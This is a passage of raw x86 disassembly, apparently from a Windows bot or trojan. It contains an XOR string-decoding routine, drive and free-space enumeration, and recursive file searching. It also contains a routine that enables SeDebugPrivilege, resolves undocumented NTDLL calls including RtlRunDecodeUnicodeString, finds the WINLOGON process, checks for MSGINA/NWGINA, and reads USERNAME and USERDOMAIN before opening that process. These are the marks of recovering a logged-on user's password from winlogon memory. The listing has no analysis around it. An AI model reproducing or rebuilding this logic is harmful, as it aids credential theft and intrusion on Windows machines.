					; sub_416F62+325j ...
		push	[ebp+var_18]
		call	dword_4E312C	; InternetCloseHandle
		push	[ebp+var_48]
		call	sub_40BA72
		pop	ecx
		push	esi
		call	ds:dword_4F53A0	; ExitThread
sub_416F62	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417454	proc near		; CODE XREF: sub_416F62+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_417470

loc_417460:				; CODE XREF: sub_417454+1Aj
		mov	dl, byte_43F094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_417460

locret_417470:				; CODE XREF: sub_417454+Aj
		retn
sub_417454	endp


; =============== S U B	R O U T	I N E =======================================



sub_417471	proc near		; CODE XREF: sub_401CC7+58C2p
					; sub_401CC7+59EAp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_421680
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_417471	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41748B	proc near		; CODE XREF: sub_4103EB+458p
					; sub_4103EB+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h		; Size
		mov	edi, offset dword_4EADDC
		push	0		; Val
		push	edi		; Dst
		call	_memset
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]

loc_4174B0:				; CODE XREF: sub_41748B+5Bj
					; sub_41748B+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	__aullrem
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	__aulldiv
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_4174EE
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_4174B0
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_4174B0
; ---------------------------------------------------------------------------

loc_4174EE:				; CODE XREF: sub_41748B+4Bj
		dec	esi
		mov	eax, edi

loc_4174F1:				; CODE XREF: sub_41748B+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_417500
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_4174F1
; ---------------------------------------------------------------------------

loc_417500:				; CODE XREF: sub_41748B+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41748B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41750A	proc near		; CODE XREF: sub_4176CB+51p
					; sub_4176CB+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4E3158	; GetDriveTypeA
		sub	eax, 0
		jz	short loc_41754D
		dec	eax
		jz	short loc_417547
		dec	eax
		dec	eax
		jz	short loc_417541
		dec	eax
		jz	short loc_41753B
		dec	eax
		jz	short loc_417535
		dec	eax
		jz	short loc_41752F
		mov	eax, offset dword_44EAEC
		retn
; ---------------------------------------------------------------------------

loc_41752F:				; CODE XREF: sub_41750A+1Dj
		mov	eax, offset off_44EAE8
		retn
; ---------------------------------------------------------------------------

loc_417535:				; CODE XREF: sub_41750A+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------

loc_41753B:				; CODE XREF: sub_41750A+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------

loc_417541:				; CODE XREF: sub_41750A+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------

loc_417547:				; CODE XREF: sub_41750A+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------

loc_41754D:				; CODE XREF: sub_41750A+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_41750A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417553	proc near		; CODE XREF: sub_41759B+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4E2FE8
		test	eax, eax
		jz	short loc_417588
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax	; GetDiskFreeSpaceExA

loc_417588:				; CODE XREF: sub_417553+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_417553	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41759B	proc near		; CODE XREF: sub_4176CB+17p
					; sub_41B92C+1F3p

Dest		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_417553
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_41767E
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_41767E
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_41767E
		mov	edi, 400h
		push	0
		push	edi
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	__alldiv
		push	edx
		push	eax
		call	sub_41748B
		pop	ecx
		mov	esi, 80h
		pop	ecx
		push	eax
		push	offset aSkb	; "%sKB"
		lea	eax, [ebp+Dest]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		push	0
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	__alldiv
		push	edx
		push	eax
		call	sub_41748B
		pop	ecx
		pop	ecx
		push	eax
		push	offset aSkb_0	; "%sKB"
		lea	eax, [ebp+var_118]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		push	0
		push	edi
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	__alldiv
		push	edx
		push	eax
		call	sub_41748B
		pop	ecx
		pop	ecx
		push	eax
		push	offset aSkb_1	; "%sKB"
		lea	eax, [ebp+var_98]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		jmp	short loc_4176B7
; ---------------------------------------------------------------------------

loc_41767E:				; CODE XREF: sub_41759B+2Cj
					; sub_41759B+3Bj ...
		lea	eax, [ebp+Dest]
		push	offset aFailed	; "failed"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	offset aFailed_0 ; "failed"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	offset aFailed_1 ; "failed"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx

loc_4176B7:				; CODE XREF: sub_41759B+E1j
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+Dest]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_41759B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4176CB(int,char *Str,int,int)

sub_4176CB	proc near		; CODE XREF: sub_41779D+17p
					; sub_41779D+60p

Dest		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
Str1		= byte ptr -80h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_41759B
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+Str1]
		push	offset aFailed_2 ; "failed"
		rep movsd
		push	eax		; Str1
		call	_strcmp
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41773E
		push	ebx
		push	ebx
		call	sub_41750A
		pop	ecx
		push	eax
		push	offset asc_44EB28 ; "-"
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		jmp	short loc_417772
; ---------------------------------------------------------------------------

loc_41773E:				; CODE XREF: sub_4176CB+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+Str1]
		push	eax
		push	ebx
		push	ebx
		call	sub_41750A
		pop	ecx
		push	eax
		push	offset asc_44EB64 ; "-"
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 20h

loc_417772:				; CODE XREF: sub_4176CB+71j
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4176CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41779D(int,char *Str,int,int)

sub_41779D	proc near		; CODE XREF: sub_401CC7+2544p

arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_4177BE
		push	[ebp+arg_C]	; int
		push	[ebp+arg_8]	; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_4176CB
		add	esp, 10h
		jmp	short loc_41781F
; ---------------------------------------------------------------------------

loc_4177BE:				; CODE XREF: sub_41779D+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4E3060	; GetLogicalDriveStringsA
		lea	esi, [eax+2]
		push	esi		; Size
		call	_malloc
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4E3060	; GetLogicalDriveStringsA
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_417816

loc_4177E2:				; CODE XREF: sub_41779D+77j
		push	offset aA_1	; "A:\\"
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417805
		push	esi		; int
		push	[ebp+arg_8]	; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_4176CB
		add	esp, 10h

loc_417805:				; CODE XREF: sub_41779D+54j
		push	esi		; Str
		call	_strlen
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_4177E2

loc_417816:				; CODE XREF: sub_41779D+43j
		push	edi		; Memory
		call	_free
		pop	ecx
		pop	edi
		pop	esi

loc_41781F:				; CODE XREF: sub_41779D+1Fj
		pop	ebx
		pop	ebp
		retn
sub_41779D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417822	proc near		; DATA XREF: sub_401CC7+6920o

Dest		= byte ptr -49Ch
var_29C		= dword	ptr -29Ch
var_298		= byte ptr -298h
var_218		= dword	ptr -218h
var_115		= byte ptr -115h
Str		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0A7h
		mov	esi, eax
		lea	edi, [ebp+var_29C]
		rep movsd
		mov	dword ptr [eax+298h], 1
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen
		xor	ebx, ebx
		cmp	[ebp+eax+var_115], 5Ch
		pop	ecx
		jnz	short loc_417877
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen
		pop	ecx
		mov	[ebp+eax+var_115], bl

loc_417877:				; CODE XREF: sub_417822+3Fj
		lea	eax, [ebp+var_218]
		push	eax
		push	offset asc_44EBA4 ; "-"
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		cmp	[ebp+var_8], ebx
		jnz	short loc_4178BC
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+var_298]
		push	eax		; Str
		push	[ebp+var_29C]	; int
		call	sub_409D34
		add	esp, 14h

loc_4178BC:				; CODE XREF: sub_417822+78j
		lea	eax, [ebp+Str]
		push	ebx		; int
		push	eax		; int
		lea	eax, [ebp+var_218]
		push	eax		; int
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]	; int
		push	eax		; Str
		push	[ebp+var_29C]	; int
		call	sub_41793D
		add	esp, 18h
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44EBCC ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_41791D
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+var_298]
		push	eax		; Str
		push	[ebp+var_29C]	; int
		call	sub_409D34
		add	esp, 14h

loc_41791D:				; CODE XREF: sub_417822+D9j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		push	[ebp+var_10]
		call	sub_40BA72
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_4F53A0	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_417822	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41793D(int,char *Str,int,int,int,int)

sub_41793D	proc near		; CODE XREF: sub_417822+B9p
					; sub_41793D+9Cp

var_548		= dword	ptr -548h
var_348		= dword	ptr -348h
Dest		= byte ptr -244h
var_140		= byte ptr -140h
var_114		= byte ptr -114h
var_113		= byte ptr -113h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 548h
		push	ebx
		push	esi
		push	edi
		mov	esi, 104h
		push	[ebp+arg_10]
		lea	eax, [ebp+Dest]
		push	offset aS_29	; "%s\\*"
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		mov	edi, ds:dword_4F53F0
		add	esp, 10h
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		call	edi	; FindFirstFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_4179F6

loc_417983:				; CODE XREF: sub_41793D+B7j
		test	[ebp+var_140], 10h
		jz	short loc_4179E4
		cmp	[ebp+var_114], 2Eh
		jnz	short loc_4179A7
		cmp	[ebp+var_113], 0
		jz	short loc_4179E4
		cmp	[ebp+var_113], 2Eh
		jz	short loc_4179E4

loc_4179A7:				; CODE XREF: sub_41793D+56j
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_348]
		push	[ebp+arg_10]
		push	offset aSS_9	; "%s\\%s"
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		push	[ebp+arg_14]	; int
		lea	eax, [ebp+var_348]
		push	eax		; int
		push	[ebp+arg_C]	; int
		push	[ebp+arg_8]	; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_41793D
		add	esp, 2Ch
		mov	[ebp+arg_14], eax

loc_4179E4:				; CODE XREF: sub_41793D+4Dj
					; sub_41793D+5Fj ...
		lea	eax, [ebp+var_140]
		push	eax
		push	ebx
		call	ds:dword_4F53EC	; FindNextFileA
		test	eax, eax
		jnz	short loc_417983

loc_4179F6:				; CODE XREF: sub_41793D+44j
		push	ebx
		mov	ebx, ds:dword_4F53E0
		call	ebx	; FindClose
		push	[ebp+arg_C]
		lea	eax, [ebp+Dest]
		push	[ebp+arg_10]
		push	offset aSS_10	; "%s\\%s"
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		call	edi	; FindFirstFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_417A80

loc_417A31:				; CODE XREF: sub_41793D+141j
		lea	eax, [ebp+var_114]
		inc	[ebp+arg_14]
		push	eax
		lea	eax, [ebp+var_548]
		push	[ebp+arg_10]
		push	offset asc_44EC04 ; "-"
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	1		; int
		lea	eax, [ebp+var_548]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 28h
		lea	eax, [ebp+var_140]
		push	eax
		push	esi
		call	ds:dword_4F53EC	; FindNextFileA
		test	eax, eax
		jnz	short loc_417A31

loc_417A80:				; CODE XREF: sub_41793D+F2j
		push	esi
		call	ebx	; FindClose
		mov	eax, [ebp+arg_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41793D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417A8B	proc near		; DATA XREF: sub_401CC7+1CC0o

Dest		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
Str		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41B7D8
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_417ACA
		cmp	eax, 2
		jz	short loc_417ACA
		push	offset unk_44EE04
		jmp	loc_417C09
; ---------------------------------------------------------------------------

loc_417ACA:				; CODE XREF: sub_417A8B+2Ej
					; sub_417A8B+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41A51E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_417C04
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		call	ds:dword_4F538C	; LoadLibraryA
		mov	esi, ds:dword_4F5390
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi	; GetProcAddress
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4EC020, eax
		call	esi	; GetProcAddress
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4EC014, eax
		call	esi	; GetProcAddress
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4EC224, eax
		call	esi	; GetProcAddress
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4EC01C, eax
		call	esi	; GetProcAddress
		mov	dword_4EC018, eax
		call	sub_417C5D
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_417BD7
		mov	esi, ds:dword_4F52D4
		mov	edi, 400h
		mov	ebx, offset word_4EB014
		push	edi
		push	ebx
		push	offset aUsername ; "USERNAME"
		call	esi	; GetEnvironmentVariableW
		push	edi
		mov	edi, offset word_4EB814
		push	edi
		push	offset aUserdomain ; "USERDOMAIN"
		call	esi	; GetEnvironmentVariableW
		cmp	[ebp+var_4], 1
		push	offset dword_4EC22C
		push	[ebp+arg_0]
		jnz	short loc_417B83
		call	sub_417DE6
		jmp	short loc_417B88
; ---------------------------------------------------------------------------

loc_417B83:				; CODE XREF: sub_417A8B+EFj
		call	sub_417F8D

loc_417B88:				; CODE XREF: sub_417A8B+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417BD0
		cmp	dword_4EC22C, 0
		jnz	short loc_417BB7
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+Dest]
		push	offset asc_44ECFC ; "-"
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 18h
		jmp	short loc_417BEA
; ---------------------------------------------------------------------------

loc_417BB7:				; CODE XREF: sub_417A8B+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_417BC7
		call	sub_4180C3
		jmp	short loc_417BCC
; ---------------------------------------------------------------------------

loc_417BC7:				; CODE XREF: sub_417A8B+133j
		call	sub_41815A

loc_417BCC:				; CODE XREF: sub_417A8B+13Aj
		pop	ecx
		push	eax
		jmp	short loc_417BDC
; ---------------------------------------------------------------------------

loc_417BD0:				; CODE XREF: sub_417A8B+101j
		push	offset unk_44ED58
		jmp	short loc_417BDC
; ---------------------------------------------------------------------------

loc_417BD7:				; CODE XREF: sub_417A8B+B6j
		push	offset asc_44ED90 ; "-"

loc_417BDC:				; CODE XREF: sub_417A8B+143j
					; sub_417A8B+14Aj
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx

loc_417BEA:				; CODE XREF: sub_417A8B+12Aj
		push	0
		push	offset aSedebugprivi_0 ; "SeDebugPrivilege"
		call	sub_41A51E
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		call	ds:dword_4F5410	; FreeLibrary
		pop	ebx
		jmp	short loc_417C17
; ---------------------------------------------------------------------------

loc_417C04:				; CODE XREF: sub_417A8B+4Ej
		push	offset asc_44EDD0 ; "-"

loc_417C09:				; CODE XREF: sub_417A8B+3Aj
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx

loc_417C17:				; CODE XREF: sub_417A8B+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_417C3E
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_14]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_9C]	; int
		call	sub_409D34
		add	esp, 14h

loc_417C3E:				; CODE XREF: sub_417A8B+191j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		push	[ebp+var_18]
		call	sub_40BA72
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4F53A0	; ExitThread
		pop	edi
		pop	esi
sub_417A8B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417C5D	proc near		; CODE XREF: sub_417A8B+ACp

String		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, ds:dword_4F541C
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi	; GetProcessHeap
		mov	edi, ds:dword_4F5418
		push	eax
		call	edi	; RtlAllocateHeap
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4EC020
		push	ebp
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	ds:dword_4F5414	; RtlFreeHeap
		push	[esp+28h+var_14]
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	edi	; RtlAllocateHeap
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4EC020
		test	eax, eax
		jnz	short loc_417D4A
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_417D4A
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+String], ecx
		jb	short loc_417D4A

loc_417CE6:				; CODE XREF: sub_417C5D+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_417D3D
		push	0
		push	0
		call	dword_4EC014
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4EC224
		test	eax, eax
		jnz	short loc_417D2E
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax		; String
		call	__strupr
		pop	ecx
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417D62

loc_417D2E:				; CODE XREF: sub_417C5D+AAj
		test	edi, edi
		jz	short loc_417D39
		push	edi
		call	dword_4EC01C

loc_417D39:				; CODE XREF: sub_417C5D+D3j
		mov	eax, [esp+28h+var_10]

loc_417D3D:				; CODE XREF: sub_417C5D+8Ej
		add	ebx, 10h
		inc	[esp+28h+String]
		cmp	[esp+28h+String], eax
		jbe	short loc_417CE6

loc_417D4A:				; CODE XREF: sub_417C5D+6Dj
					; sub_417C5D+7Aj ...
		xor	edi, edi

loc_417D4C:				; CODE XREF: sub_417C5D+17Dj
		push	ebp
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	ds:dword_4F5414	; RtlFreeHeap
		mov	eax, edi

loc_417D5A:				; CODE XREF: sub_417C5D+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------

loc_417D62:				; CODE XREF: sub_417C5D+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_417DCB
		lea	eax, [edi+80h]
		mov	[esp+28h+String], eax

loc_417D78:				; CODE XREF: sub_417C5D+16Cj
		add	[esp+28h+String], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+String] ; String
		call	__strupr
		pop	ecx
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417DDF
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+String] ; String
		call	__strupr
		pop	ecx
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417DBD
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax

loc_417DBD:				; CODE XREF: sub_417C5D+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_417D78

loc_417DCB:				; CODE XREF: sub_417C5D+10Fj
		test	edi, edi
		jz	short loc_417DD6
		push	edi
		call	dword_4EC01C

loc_417DD6:				; CODE XREF: sub_417C5D+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_417D4C
; ---------------------------------------------------------------------------

loc_417DDF:				; CODE XREF: sub_417C5D+13Cj
		xor	eax, eax
		jmp	loc_417D5A
sub_417C5D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417DE6	proc near		; CODE XREF: sub_417A8B+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		call	ds:dword_4F5358	; OpenProcess
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_417E0F
		xor	eax, eax
		jmp	loc_417F8A
; ---------------------------------------------------------------------------

loc_417E0F:				; CODE XREF: sub_417DE6+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
